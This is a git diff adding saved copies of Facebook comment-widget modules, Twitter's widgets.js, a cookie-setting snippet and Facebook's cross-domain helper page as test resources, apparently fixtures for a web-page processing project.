+__d("UFIPager",["ReactDOM","ImageBlock","React","UFIClassSets"],function(a,b,c,d,e,f){var g=b('ReactDOM'),h=b('ImageBlock'),i=b('React'),j=b('UFIClassSets'),k=i.createComponent({onPagerClick:function(l){!this.props.isLoading&&this.props.onPagerClick&&this.props.onPagerClick();l.nativeEvent.prevent();},render:function(){var l=this.onPagerClick.bind(this),m={ufiPagerLoading:this.props.isLoading},n=[j.ROW,{UFIPagerRow:true}];if(this.props.isUnseen)n.push(j.UNSEEN_ITEM);return (g.li({classSe [...]
+__d("UFIReplySocialSentence",["ReactDOM","React","ImageBlock","UFIClassSets","tx"],function(a,b,c,d,e,f){var g=b('ReactDOM'),h=b('React'),i=b('ImageBlock'),j=b('UFIClassSets'),k=b('tx'),l=' \u00b7 ',m=h.createComponent({render:function(){var n={UFIReplySocialSentenceLoading:this.props.isLoading},o=[j.ROW,{UFIReplySocialSentenceRow:true}],p;if(this.props.isExpanded){p=this.props.replies>1?k._("Hide {count} Replies",{count:this.props.replies}):"Hide 1 Reply";}else p=this.props.replies>1?k. [...]
+__d("UFIShareRow",["ReactDOM","ImageBlock","NumberFormat","React","UFIClassSets","URI","tx"],function(a,b,c,d,e,f){var g=b('ReactDOM'),h=b('ImageBlock'),i=b('NumberFormat'),j=b('React'),k=b('UFIClassSets'),l=b('URI'),m=b('tx'),n=j.createComponent({render:function(){var o=new l('/ajax/shares/view').setQueryData({target_fbid:this.props.targetID}),p=new l('/shares/view').setSubdomain('www').setQueryData({id:this.props.targetID}),q;if(this.props.shareCount>1){var r=i.formatIntegerWithDelimit [...]
+__d("UFISpamPlaceholder",["ReactDOM","React","UFIClassSets","tx"],function(a,b,c,d,e,f){var g=b('ReactDOM'),h=b('React'),i=b('UFIClassSets'),j=b('tx'),k=h.createComponent({render:function(){var l={UFISpamCommentWrapper:true,UFISpamCommentLoading:this.props.isLoading};return (g.li({classSet:i.ROW,children:g.a({href:"#",role:"button",classSet:{UFISpamCommentLink:true},onClick:this.props.onClick,children:g.span({'data-hover':"tooltip",'data-tooltip-alignh':"center",'aria-label':j._("{count} [...]
+__d("UFI",["ReactDOM","NumberFormat","React","ReactLegacyScrollableArea","UFIAddCommentController","UFIComment","UFIConstants","UFIContainer","UFIInstanceState","UFILikeSentence","UFIPager","UFIReplySocialSentence","UFIShareRow","UFISpamPlaceholder","UFITrackingNodes","isEmpty","tx","copyProperties"],function(a,b,c,d,e,f){var g=b('ReactDOM'),h=b('NumberFormat'),i=b('React'),j=b('ReactLegacyScrollableArea'),k=b('UFIAddCommentController'),l=b('UFIComment'),m=b('UFIConstants'),n=b('UFIConta [...]
+__d("UFIController",["ReactDOM","Arbiter","Bootloader","CSS","DOM","DOMQuery","ImmutableObject","LayerRemoveOnHide","LiveTimer","Parent","React","ReactMount","ShortProfiles","UFI","UFIActionLinkController","UFICentralUpdates","UFIComments","UFIConstants","UFIFeedbackTargets","UFIInstanceState","UFIUserActions","URI","copyProperties","isEmpty","tx","UFICommentTemplates"],function(a,b,c,d,e,f){var g=b('Arbiter'),h=b('Bootloader'),i=b('CSS'),j=b('DOM'),k=b('DOMQuery'),l=b('ImmutableObject') [...]
+__d("TypeaheadUtil",["function-extensions"],function(a,b,c,d,e,f){b('function-extensions');var g=/[ ]+/g,h=/[^ ]+/g,i=/[.,+*?$|#{}()\^\-\[\]\\\/!@%'"~=<>_:;\u2010\u2011\u2012\u2013\u2014\u2015\u30fb\uff1a]/g,j={},k={a:"\u0430 \u00e0 \u00e1 \u00e2 \u00e3 \u00e4 \u00e5",b:"\u0431",c:"\u0446 \u00e7 \u010d",d:"\u0434 \u00f0 \u010f \u0111",e:"\u044d \u0435 \u00e8 \u00e9 \u00ea \u00eb \u011b",f:"\u0444",g:"\u0433 \u011f",h:"\u0445 \u0127",i:"\u0438 \u00ec \u00ed \u00ee \u00ef \u0131",j:"\u0439 [...]
+__d("DataSource",["array-extensions","ArbiterMixin","AsyncRequest","TypeaheadUtil","copyProperties","createArrayFrom","createObjectFrom","emptyFunction"],function(a,b,c,d,e,f){b('array-extensions');var g=b('ArbiterMixin'),h=b('AsyncRequest'),i=b('TypeaheadUtil'),j=b('copyProperties'),k=b('createArrayFrom'),l=b('createObjectFrom'),m=b('emptyFunction');function n(o){this._maxResults=o.maxResults||10;this.token=o.token;this.queryData=o.queryData||{};this.queryEndpoint=o.queryEndpoint||'';th [...]
+__d("MultiBootstrapDataSource",["Class","DataSource"],function(a,b,c,d,e,f){var g=b('Class'),h=b('DataSource');function i(j){this._bootstrapEndpoints=j.bootstrapEndpoints;this.parent.construct(this,j);}g.extend(i,h);i.prototype.bootstrapWithoutToken=function(){for(var j=0;j<this._bootstrapEndpoints.length;j++)this.fetch(this._bootstrapEndpoints[j].endpoint,this._bootstrapEndpoints[j].data||{},{bootstrap:true});};e.exports=i;});
+__d("XHPTemplate",["DataStore","DOM","HTML","copyProperties"],function(a,b,c,d,e,f){var g=b('DataStore'),h=b('DOM'),i=b('HTML'),j=b('copyProperties');function k(m){this._model=m;}j(k.prototype,{render:function(){if(i.isHTML(this._model))this._model=h.setContent(document.createDocumentFragment(),this._model)[0];return this._model.cloneNode(true);},build:function(){return new l(this.render());}});j(k,{getNode:function(m,n){return k.getNodes(m)[n];},getNodes:function(m){var n=g.get(m,'XHPTe [...]
\ No newline at end of file
diff --git a/src/test/resources/s/cf/safe_image.php b/src/test/resources/s/cf/safe_image.php
new file mode 100644
index 0000000..c27b7d7
Binary files /dev/null and b/src/test/resources/s/cf/safe_image.php differ
diff --git a/src/test/resources/s/cf/search_btn_footer.gif b/src/test/resources/s/cf/search_btn_footer.gif
new file mode 100644
index 0000000..4b75dd3
Binary files /dev/null and b/src/test/resources/s/cf/search_btn_footer.gif differ
diff --git a/src/test/resources/s/cf/video_icon.gif b/src/test/resources/s/cf/video_icon.gif
new file mode 100644
index 0000000..aeffc28
Binary files /dev/null and b/src/test/resources/s/cf/video_icon.gif differ
diff --git a/src/test/resources/s/cf/widgets.js b/src/test/resources/s/cf/widgets.js
new file mode 100644
index 0000000..0880652
--- /dev/null
+++ b/src/test/resources/s/cf/widgets.js
@@ -0,0 +1,39 @@
+if(!window.__twttrlr){(function(a,b){function s(a){for(var b=1,c;c=arguments[b];b++)for(var d in c)a[d]=c[d];return a}function t(a){return Array.prototype.slice.call(a)}function v(a,b){for(var c=0,d;d=a[c];c++)if(b==d)return c;return-1}function w(){var a=t(arguments),b=[];for(var c=0,d=a.length;c<d;c++)a[c].length>0&&b.push(a[c].replace(/\/$/,""));return b.join("/")}function x(a,b,c){var d=b.split("/"),e=a;while(d.length>1){var f=d.shift();e=e[f]=e[f]||{}}e[d[0]]=c}function y(){}function [...]
+provide("util/events",function(a){using("util/util",function(b){function d(){this.completed=!1,this.callbacks=[]}var c={bind:function(a,b){return this._handlers=this._handlers||{},this._handlers[a]=this._handlers[a]||[],this._handlers[a].push(b)},unbind:function(a,c){if(!this._handlers[a])return;if(c){var d=b.indexOf(this._handlers[a],c);d>=0&&this._handlers[a].splice(d,1)}else this._handlers[a]=[]},trigger:function(a,b){var c=this._handlers&&this._handlers[a];b.type=a;if(c)for(var d=0,e [...]
+provide("util/querystring",function(a){function b(a){return encodeURIComponent(a).replace(/\+/g,"%2B")}function c(a){return decodeURIComponent(a)}function d(a){var c=[],d;for(d in a)a[d]!==null&&typeof a[d]!="undefined"&&c.push(b(d)+"="+b(a[d]));return c.sort().join("&")}function e(a){var b={},d,e,f,g;if(a){d=a.split("&");for(g=0;f=d[g];g++)e=f.split("="),e.length==2&&(b[c(e[0])]=c(e[1]))}return b}function f(a,b){var c=d(b);return c.length>0?a.indexOf("?")>=0?a+"&"+d(b):a+"?"+d(b):a}func [...]
+provide("util/uri",function(a){using("util/querystring","util/util",function(b,c){function d(a){var b;return a.match(/^https?:\/\//)?a:(b=location.host,location.port.length>0&&(b+=":"+location.port),[location.protocol,"//",b,a].join(""))}function e(){var a=document.getElementsByTagName("link");for(var b=0,c;c=a[b];b++)if(c.getAttribute("rel")=="canonical")return d(c.getAttribute("href"));return null}function f(){var a=document.getElementsByTagName("a"),b=document.getElementsByTagName("li [...]
+provide("util/iframe",function(a){a(function(a){var b=(a.replace&&a.replace.ownerDocument||document).createElement("div"),c,d,e;b.innerHTML="<iframe allowtransparency='true' frameBorder='0' scrolling='no'></iframe>",c=b.firstChild,c.src=a.url,c.className=a.className||"";if(a.css)for(d in a.css)a.css.hasOwnProperty(d)&&(c.style[d]=a.css[d]);if(a.attributes)for(e in a.attributes)a.attributes.hasOwnProperty(e)&&c.setAttribute(e,a.attributes[e]);return a.replace?a.replace.parentNode.replaceC [...]
+provide("dom/get",function(a){using("util/util",function(b){function c(a,c,d,e){var f,g,h=[],i,j,k,l,m,n;c=c||document;if(b.isNative(c.getElementsByClassName))return h=b.filter(c.getElementsByClassName(a),function(a){return!d||a.tagName.toLowerCase()==d.toLowerCase()}),[].slice.call(h,0,e||h.length);i=a.split(" "),l=i.length,f=c.getElementsByTagName(d||"*"),n=f.length;for(k=0;k<l&&n>0;k++){h=[],j=i[k];for(m=0;m<n;m++){g=f[m],~b.indexOf(g.className.split(" "),j)&&h.push(g);if(k+1==l&&h.le [...]
+provide("util/domready",function(a){function k(){b=1;for(var a=0,d=c.length;a<d;a++)c[a]()}var b=0,c=[],d,e,f=!1,g=document.createElement("a"),h="DOMContentLoaded",i="addEventListener",j="onreadystatechange";/^loade|c/.test(document.readyState)&&(b=1),document[i]&&document[i](h,e=function(){document.removeEventListener(h,e,f),k()},f),g.doScroll&&document.attachEvent(j,d=function(){/^c/.test(document.readyState)&&(document.detachEvent(j,d),k())});var l=g.doScroll?function(a){self!=top?b?a [...]
+provide("tfw/widget/base",function(a){using("util/util","util/domready","dom/get","util/querystring","util/iframe",function(b,c,d,e,f){function m(a){var b;if(!a)return;a.ownerDocument?(this.srcEl=a,this.classAttr=a.className.split(" ")):(this.srcOb=a,this.classAttr=[]),b=this.params(),this.id=o(),this.setLanguage(),this.related=b.related||this.dataAttr("related"),this.partner=b.partner||this.dataAttr("partner"),this.dnt=b.dnt||this.dataAttr("dnt")||"",this.styleAttr=[],this.targetEl=a.ta [...]
+provide("tfw/widget/intent",function(a){using("tfw/widget/base","util/util","util/querystring","util/uri",function(b,c,d,e){function m(a){var b=Math.round(k/2-h/2),c=0;j>i&&(c=Math.round(j/2-i/2)),window.open(a,undefined,[g,"width="+h,"height="+i,"left="+b,"top="+c].join(","))}function n(a,b){using("tfw/hub/client",function(c){c.openIntent(a,b)})}function o(a){var b="original_referer="+location.href;return[a,b].join(a.indexOf("?")==-1?"?":"&")}function p(a){a=a||window.event;var b=a.targ [...]
+provide("dom/classname",function(a){function b(a,b){a.classList?a.classList.add(b):f(b).test(a.className)||(a.className+=" "+b)}function c(a,b){a.classList?a.classList.remove(b):a.className=a.className.replace(f(b)," ")}function d(a,d,g){a.classList&&e(a,d)?(c(a,d),b(a,g)):a.className=a.className.replace(f(d),g)}function e(a,b){return a.classList?a.classList.contains(b):f(b).test(a.className)}function f(a){return new RegExp("\\b"+a+"\\b","g")}a({add:b,remove:c,replace:d,present:e})});
+provide("util/env",function(a){var b=window.navigator.userAgent;a({retina:function(){return(window.devicePixelRatio||1)>1},anyIE:function(){return/MSIE \d/.test(b)},ie6:function(){return/MSIE 6/.test(b)},ie7:function(){return/MSIE 7/.test(b)},cspEnabledIE:function(){return/MSIE 1\d/.test(b)},touch:function(){return"ontouchstart"in window||/Opera Mini/.test(b)},cssTransitions:function(){var a=document.body.style;return a.transition!==undefined||a.webkitTransition!==undefined||a.mozTransit [...]
+provide("dom/delegate",function(a){using("util/env",function(b){function e(a){var b=a.getAttribute("data-twitter-event-id");return b?b:(a.setAttribute("data-twitter-event-id",++d),d)}function f(a,b,c){var d=0,e=a&&a.length||0;for(d=0;d<e;d++)a[d].call(b,c)}function g(a,b,c){var d=c||a.target||a.srcElement,e=d.className.split(" "),h=0,i,j=e.length;for(;h<j;h++)f(b["."+e[h]],d,a);f(b[d.tagName],d,a);if(a.cease)return;d!==this&&g.call(this,a,b,d.parentElement||d.parentNode)}function h(a,b,c [...]
+provide("util/twitter",function(a){using("util/querystring",function(b){function f(a){return typeof a=="string"&&c.test(a)&&RegExp.$1.length<=20}function g(a){return f(a)&&RegExp.$1}function h(a){var c=b.decodeURL(a);c.screen_name=g(a);if(c.screen_name)return b.url("https://twitter.com/intent/user",c)}function i(a){return typeof a=="string"&&!/\W/.test(a)}function j(a){return i(a)?"#"+a:""}function k(a){return typeof a=="string"&&d.test(a)}function l(a){return k(a)&&RegExp.$1}function m( [...]
+provide("util/throttle",function(a){function b(a,b,c){function g(){var c=+(new Date);window.clearTimeout(f);if(c-e>b){e=c,a.call(d);return}f=window.setTimeout(g,b)}var d=c||this,e=0,f;return g}a(b)});
+provide("util/insert",function(a){a(function(a,b){if(b){if(!b.parentNode)return b;b.parentNode.replaceChild(a,b),delete b}else document.body.insertBefore(a,document.body.firstChild);return a})});
+provide("util/datetime",function(a){using("util/util",function(b){function n(a){var e=a||"",h=e.toString(),i,j;return i=function(){var a;if(f.test(h))return parseInt(h,10);if(a=h.match(d))return Date.UTC(a[7],b.indexOf(g,a[1]),a[2],a[3],a[4],a[5]);if(a=h.match(c))return Date.UTC(a[1],a[2]-1,a[3],a[4],a[5],a[6])}(),i?(j=new Date(i),!isNaN(j.getTime())&&j):!1}function o(a,b){function q(a,b){return p&&p[a]&&(a=p[a]),a.replace(/%\{([\w_]+)\}/g,function(a,c){return b[c]!==undefined?b[c]:a})}v [...]
+provide("util/css",function(a){using("util/util",function(b){a({sanitize:function(a,c,d){var e=/^[\w ,%\/"'\-_#]+$/,f=a&&b.map(a.split(";"),function(a){return b.map(a.split(":").slice(0,2),function(a){return b.trim(a)})}),g=0,h,i=[],j=d?"!important":"";c=c||/^(font|text\-|letter\-|color|line\-)[\w\-]*$/;for(;f&&(h=f[g]);g++)h[0].match(c)&&h[1].match(e)&&i.push(h.join(":")+j);return i.join(";")}})})});
+provide("tfw/util/params",function(a){using("util/querystring","util/twitter",function(b,c){a(function(a,d){return function(e){var f,g="data-tw-params",h,i=e.innerHTML;if(!e)return;if(!c.isTwitterURL(e.href))return;if(e.getAttribute(g))return;e.setAttribute(g,!0);if(typeof d=="function"){f=d.call(this,e);for(h in f)f.hasOwnProperty(h)&&(a[h]=f[h])}e.href=b.url(e.href,a),e.innerHTML=i}})})});
+provide("$xd/json2.js", function(exports) {window.JSON||(window.JSON={}),function(){function f(a){return a<10?"0"+a:a}function quote(a){return escapable.lastIndex=0,escapable.test(a)?'"'+a.replace(escapable,function(a){var b=meta[a];return typeof b=="string"?b:"\\u"+("0000"+a.charCodeAt(0).toString(16)).slice(-4)})+'"':'"'+a+'"'}function str(a,b){var c,d,e,f,g=gap,h,i=b[a];i&&typeof i=="object"&&typeof i.toJSON=="function"&&(i=i.toJSON(a)),typeof rep=="function"&&(i=rep.call(b,a,i));swit [...]
+provide("util/params",function(a){using("util/querystring",function(b){var c=function(a){var c=a.search.substr(1);return b.decode(c)},d=function(a){var c=a.href,d=c.indexOf("#"),e=d<0?"":c.substring(d+1);return b.decode(e)},e=function(a){var b={},e=c(a),f=d(a);for(var g in e)e.hasOwnProperty(g)&&(b[g]=e[g]);for(var g in f)f.hasOwnProperty(g)&&(b[g]=f[g]);return b};a({combined:e,fromQuery:c,fromFragment:d})})});
+provide("tfw/util/env",function(a){using("util/params",function(b){function d(){var a=36e5,d=b.combined(document.location)._;return c!==undefined?c:(c=!1,d&&/^\d+$/.test(d)&&(c=+(new Date)-parseInt(d)<a),c)}var c;a({isDynamicWidget:d})})});
+provide("util/decider",function(a){function c(a){var c=b[a]||!1;if(!c)return!1;if(c===!0||c===100)return!0;var d=Math.random()*100,e=c>=d;return b[a]=e,e}var b={force_new_cookie:100,rufous_pixel:100,decider_fixture:12.34};a({isAvailable:c})});
+provide("dom/cookie",function(a){using("util/util",function(b){a(function(a,c,d){var e=b.aug({},d);if(arguments.length>1&&String(c)!=="[object Object]"){if(c===null||c===undefined)e.expires=-1;if(typeof e.expires=="number"){var f=e.expires,g=new Date((new Date).getTime()+f*60*1e3);e.expires=g}return c=String(c),document.cookie=[encodeURIComponent(a),"=",e.raw?c:encodeURIComponent(c),e.expires?"; expires="+e.expires.toUTCString():"",e.path?"; path="+e.path:"",e.domain?"; domain="+e.domain [...]
+provide("util/donottrack",function(a){using("dom/cookie",function(b){a(function(a){var c=/\.(gov|mil)(:\d+)?$/i,d=/https?:\/\/([^\/]+).*/i;return a=a||document.referrer,a=d.test(a)&&d.exec(a)[1],b("dnt")?!0:c.test(document.location.host)?!0:a&&c.test(a)?!0:document.navigator?document.navigator["doNotTrack"]==1:navigator?navigator["doNotTrack"]==1||navigator["msDoNotTrack"]==1:!1})})});
+provide("tfw/util/guest_cookie",function(a){using("dom/cookie","util/donottrack","util/decider",function(b,c,d){function f(){var a=b(e)||!1;if(!a)return;a.match(/^v3\:/)||g()}function g(){b(e)&&b(e,null,{domain:".twitter.com",path:"/"})}function h(){c()&&g()}var e="pid";a({set:h,destroy:g,forceNewCookie:f,guest_id_cookie:e})})});
+provide("dom/sandbox",function(a){using("util/domready","util/env",function(b,c){function e(a,b){var c,d,e;if(a.name){try{e=document.createElement('<iframe name="'+a.name+'"></iframe>')}catch(f){e=document.createElement("iframe"),e.name=a.name}delete a.name}else e=document.createElement("iframe");a.id&&(e.id=a.id,delete a.id);for(c in a)a.hasOwnProperty(c)&&e.setAttribute(c,a[c]);e.allowtransparency="true",e.scrolling="no",e.setAttribute("frameBorder",0),e.setAttribute("allowTransparency [...]
+provide("tfw/util/tracking",function(a){using("dom/cookie","dom/sandbox","util/donottrack","tfw/util/guest_cookie","tfw/util/env","util/util","$xd/json2.js",function(b,c,d,e,f,g,h){function u(){function a(a){s=a.frame,r=a.doc,q=a.doc.body,m=F(),n=G();while(o[0])z.apply(this,o.shift());p&&A()}s=document.getElementById("rufous-sandbox"),s?(r=s.contentWindow.document,q=r.body):c(a,{id:"rufous-sandbox"},{display:"none"})}function v(a,b,c,d){var e=!g.isObject(a),f=b?!g.isObject(b):!1,h,i;if(e [...]
+provide("util/logger",function(a){function c(a){window[b]&&window[b].log&&window[b].log(a)}function d(a){window[b]&&window[b].warn&&window[b].warn(a)}function e(a){window[b]&&window[b].error&&window[b].error(a)}var b=["con","sole"].join("");a({info:c,warn:d,error:e})});
+provide("tfw/util/data",function(a){using("util/logger","util/util","util/querystring",function(b,c,d){function l(a,b){return a=={}.toString.call(b).match(/\s([a-zA-Z]+)/)[1].toLowerCase()}function m(a){return function(c){c.error?a.error&&a.error(c):c.headers&&c.headers.status!=200?(a.error&&a.error(c),b.warn(c.headers.message)):a.success&&a.success(c),a.complete&&a.complete(c),n(a)}}function n(a){var b=a.script;b&&(b.onload=b.onreadystatechange=null,b.parentNode&&b.parentNode.removeChil [...]
+provide("anim/transition",function(a){function b(a,b){var c;return b=b||window,c=b.requestAnimationFrame||b.webkitRequestAnimationFrame||b.mozRequestAnimationFrame||b.msRequestAnimationFrame||b.oRequestAnimationFrame||function(c){b.setTimeout(function(){a(+(new Date))},1e3/60)},c(a)}function c(a,b){return Math.sin(Math.PI/2*b)*a}function d(a,c,d,e,f){function i(h){var j=h-g,k=Math.min(j/d,1),l=e?e(c,k):c*k;a(l);if(k==1)return;b(i,f)}var g=+(new Date),h;b(i)}a({animate:d,requestAnimationF [...]
+provide("tfw/util/assets",function(a){using("util/env",function(b){function d(a,d){var e=c[a],f;return b.retina()?f="2x":b.ie6()||b.ie7()?f="gif":f="default",d&&(f+=".rtl"),e[f]}var c={"embed/timeline.css":{"default":"embed/timeline.996256af577d2c3d78784b9bf8b648c6.default.css","2x":"embed/timeline.996256af577d2c3d78784b9bf8b648c6.2x.css",gif:"embed/timeline.996256af577d2c3d78784b9bf8b648c6.gif.css","default.rtl":"embed/timeline.996256af577d2c3d78784b9bf8b648c6.default.rtl.css","2x.rtl": [...]
+provide("tfw/widget/syndicatedbase",function(a){using("tfw/widget/base","tfw/widget/intent","tfw/util/assets","dom/classname","dom/delegate","dom/sandbox","util/env","util/twitter","util/util",function(b,c,d,e,f,g,h,i,j){function p(){var a=document.getElementsByTagName("meta"),b=0,c;for(;c=a[b];b++)switch(c.name){case"twitter:widgets:link-color":n=s.VALID_COLOR.test(c.content)&&RegExp.$1;break;case"twitter:widgets:theme":o=c.content;break;default:continue}}function q(a,b,c){var d;c=c||do [...]
+provide("tfw/widget/timeline",function(a){using("tfw/widget/syndicatedbase","anim/transition","tfw/widget/intent","tfw/util/data","tfw/util/tracking","tfw/util/params","util/css","util/datetime","util/env","util/iframe","util/insert","util/throttle","util/twitter","util/querystring","util/util","dom/delegate","dom/classname","dom/get",function(b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s){function O(a){if(!a)return;var c;this.a11yTitle=this._("Twitter Timeline Widget"),b.apply(this,[a]),c=this.pa [...]
+provide("tfw/widget/embed",function(a){using("tfw/widget/base","tfw/widget/syndicatedbase","tfw/util/params","dom/classname","dom/get","util/util","util/throttle","util/twitter","tfw/util/data","tfw/util/tracking",function(b,c,d,e,f,g,h,i,j,k){function p(a,b,c){var d=f.one("subject",a,"BLOCKQUOTE"),e=f.one("reply",a,"BLOCKQUOTE"),g=d&&d.getAttribute("data-tweet-id"),h=e&&e.getAttribute("data-tweet-id"),i={},j={};if(!g)return;i[g]={item_type:0},k.enqueue({page:"tweet",section:"subject",co [...]
+provide("dom/textsize",function(a){function c(a,b,c){return a+b+c}var b={};a(function(a,d,e){var f=document.createElement("span"),g={},h;return e=e||"",d=d||"",h=c(a,d,e),b[h]?b[h]:(f.className=d+" twitter-measurement",f.setAttribute("style",e),f.innerHTML=a,document.body.appendChild(f),g.width=f.clientWidth||f.offsetWidth,g.height=f.clientHeight||f.offsetHeight,document.body.removeChild(f),delete f,b[h]=g)})});
+provide("tfw/widget/tweetbase",function(a){using("util/util","tfw/widget/base","util/querystring","util/uri",function(b,c,d,e){function h(a){if(!a)return;var b;c.apply(this,[a]),b=this.params(),this.text=b.text||this.dataAttr("text"),this.align=b.align||this.dataAttr("align")||"",this.via=b.via||this.dataAttr("via"),this.placeid=b.placeid||this.dataAttr("placeid"),this.hashtags=b.hashtags||this.dataAttr("hashtags"),this.screen_name=b.screen_name||this.dataAttr("button-screen-name"),this. [...]
+provide("tfw/widget/tweetbutton",function(a){using("tfw/widget/tweetbase","util/util","util/querystring","util/uri","dom/textsize",function(b,c,d,e,f){var g=document.title,h=encodeURI(location.href),i=["vertical","horizontal","none"],j=function(a){b.apply(this,[a]);var d=this.params(),f=d.count||this.dataAttr("count"),j=d.size||this.dataAttr("size"),k=e.getScreenNameFromPage();if(d.type=="hashtag"||~c.indexOf(this.classAttr,"twitter-hashtag-button"))this.type="hashtag";else if(d.type=="m [...]
+provide("tfw/widget/follow",function(a){using("util/util","tfw/widget/base","util/querystring","util/uri","util/twitter","dom/textsize",function(b,c,d,e,f,g){function h(a){if(!a)return;var b,d,e,g;c.apply(this,[a]),b=this.params(),d=b.size||this.dataAttr("size"),e=b.show_screen_name||this.dataAttr("show-screen-name"),g=b.show_count||this.dataAttr("show-count"),this.classAttr.push("twitter-follow-button"),this.showScreenName=e!="false",this.showCount=g!="false",this.explicitWidth=b.width| [...]
+!function(){function a(a){return(a||!/^http\:$/.test(window.location.protocol))&&!twttr.ignoreSSL?"https":"http"}window.twttr=window.twttr||{},twttr.host=twttr.host||"platform.twitter.com";if(twttr.widgets&&twttr.widgets.loaded)return twttr.widgets.load(),!1;if(twttr.init)return!1;twttr.init=!0,twttr._e=twttr._e||[],twttr.ready=twttr.ready||function(a){twttr.widgets&&twttr.widgets.loaded?a(twttr):twttr._e.push(a)},using.path.length||(using.path=a()+"://"+twttr.host+"/js"),twttr.ignoreSSL [...]
\ No newline at end of file
diff --git a/src/test/resources/s/cf/xd.sjs b/src/test/resources/s/cf/xd.sjs
new file mode 100644
index 0000000..fd9d782
--- /dev/null
+++ b/src/test/resources/s/cf/xd.sjs
@@ -0,0 +1,8 @@
+ {
+ var now = new Date();
+ var shortterm = new Date(now.getTime() + 26*60*60*1000);
+ var longterm = new Date(now.getTime() + 365*24*60*60*1000);
+ document.cookie = 'ug=510229d208894c0a3d146b46f700566a; expires='+longterm.toGMTString()+'; path=/';
+ document.cookie = 'ugs=1; expires='+shortterm.toGMTString()+'; path=/';
+ }
+
diff --git a/src/test/resources/s/cf/xd_arbiter(1).htm b/src/test/resources/s/cf/xd_arbiter(1).htm
new file mode 100644
index 0000000..4b94962
--- /dev/null
+++ b/src/test/resources/s/cf/xd_arbiter(1).htm
@@ -0,0 +1,33 @@
+<!DOCTYPE html>
+<!-- saved from url=(0179)https://s-static.ak.facebook.com/connect/xd_arbiter.php?version=18#channel=f3fdacdc8&origin=http%3A%2F%2Fedition.cnn.com&channel_path=%2F%3Ffb_xd_fragment%23xd_sig%3Df170f9157c%26 -->
+<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Facebook Cross-Domain Messaging helper</title></head><body><script> document.domain = 'facebook.com'; var ES5 = function(){
+__d("ES5ArrayPrototype",[],function(a,b,c,d,e,f){var g={};g.map=function(h,i){if(typeof h!='function')throw new TypeError();var j,k=this.length,l=new Array(k);for(j=0;j<k;++j)if(j in this)l[j]=h.call(i,this[j],j,this);return l;};g.forEach=function(h,i){g.map.call(this,h,i);};g.filter=function(h,i){if(typeof h!='function')throw new TypeError();var j,k,l=this.length,m=[];for(j=0;j<l;++j)if(j in this){k=this[j];if(h.call(i,k,j,this))m.push(k);}return m;};g.every=function(h,i){if(typeof h!=' [...]
+__d("ES5FunctionPrototype",[],function(a,b,c,d,e,f){var g={};g.bind=function(h){if(typeof this!='function')throw new TypeError('Bind must be called on a function');var i=this,j=Array.prototype.slice.call(arguments,1);function k(){return i.apply(h,j.concat(Array.prototype.slice.call(arguments)));}k.displayName='bound:'+(i.displayName||i.name||'(?)');k.toString=function l(){return 'bound: '+i;};return k;};e.exports=g;});
+__d("ES5StringPrototype",[],function(a,b,c,d,e,f){var g={};g.trim=function(){if(this==null)throw new TypeError('String.prototype.trim called on null or undefined');return String.prototype.replace.call(this,/^\s+|\s+$/g,'');};e.exports=g;});
+__d("ES5Array",[],function(a,b,c,d,e,f){var g={};g.isArray=function(h){return Object.prototype.toString.call(h)=='[object Array]';};e.exports=g;});
+__d("ES5Object",[],function(a,b,c,d,e,f){var g={};g.create=function(h){var i=typeof h;if(i!='object'&&i!='function')throw new TypeError('Object prototype may only be a Object or null');var j=new Function();j.prototype=h;return new j();};g.keys=function(h){var i=typeof h;if(i!='object'&&i!='function'||h===null)throw new TypeError('Object.keys called on non-object');var j=[];for(var k in h)if(Object.prototype.hasOwnProperty.call(h,k))j.push(k);var l=!({toString:true}).propertyIsEnumerable( [...]
+__d("ES5Date",[],function(a,b,c,d,e,f){var g={};g.now=function(){return new Date().getTime();};e.exports=g;});
+/**
+ * @providesModule JSON3
+ * @option preserve-header
+ *
+ *! JSON v3.2.3 | http://bestiejs.github.com/json3 | Copyright 2012, Kit Cambridge | http://kit.mit-license.org
+ */__d("JSON3",[],function(a,b,c,d,e,f){(function(){var g={}.toString,h,i,j,k=e.exports={},l='{"A":[1,true,false,null,"\\u0000\\b\\n\\f\\r\\t"]}',m,n,o,p,q,r,s,t,u,v,w,x,y,z,aa,ba=new Date(-3509827334573292),ca,da,ea;try{ba=ba.getUTCFullYear()==-109252&&ba.getUTCMonth()===0&&ba.getUTCDate()==1&&ba.getUTCHours()==10&&ba.getUTCMinutes()==37&&ba.getUTCSeconds()==6&&ba.getUTCMilliseconds()==708;}catch(fa){}if(!ba){ca=Math.floor;da=[0,31,59,90,120,151,181,212,243,273,304,334];ea=function(ga,h [...]
+__d("ES5",["ES5ArrayPrototype","ES5FunctionPrototype","ES5StringPrototype","ES5Array","ES5Object","ES5Date","JSON3"],function(a,b,c,d,e,f){var g=b('ES5ArrayPrototype'),h=b('ES5FunctionPrototype'),i=b('ES5StringPrototype'),j=b('ES5Array'),k=b('ES5Object'),l=b('ES5Date'),m=b('JSON3'),n=Array.prototype.slice,o=Object.prototype.toString,p={'JSON.stringify':m.stringify,'JSON.parse':m.parse},q={array:g,'function':h,string:i,Object:k,Array:j,Date:l};for(var r in q){if(!q.hasOwnProperty(r))conti [...]
+return ES5.apply(null, arguments);
+};
+function emptyFunction() {};
+var require,__d;(function(a){var b={},c={},d=['global','require','requireDynamic','requireLazy','module','exports'];require=function(e,f){if(c.hasOwnProperty(e))return c[e];if(!b.hasOwnProperty(e)){if(f)return null;throw new Error('Module '+e+' has not been defined');}var g=b[e],h=g.deps,i=h.length,j,k=[];for(var l=0;l<i;l++){switch(h[l]){case 'module':j=g;break;case 'exports':j=g.exports;break;case 'global':j=a;break;case 'require':j=require;break;case 'requireDynamic':j=require;break;c [...]
+__d("QueryString",[],function(a,b,c,d,e,f){function g(k){var l=[];ES5(ES5('Object','keys',false,k),'forEach',true,function(m){var n=k[m];if(typeof n==='undefined')return;if(n===null){l.push(m);return;}l.push(encodeURIComponent(m)+'='+encodeURIComponent(n));});return l.join('&');}function h(k,l){var m={};if(k==='')return m;var n=k.split('&');for(var o=0;o<n.length;o++){var p=n[o].split('=',2),q=decodeURIComponent(p[0]);if(l&&m.hasOwnProperty(q))throw new URIError('Duplicate key: '+q);m[q] [...]
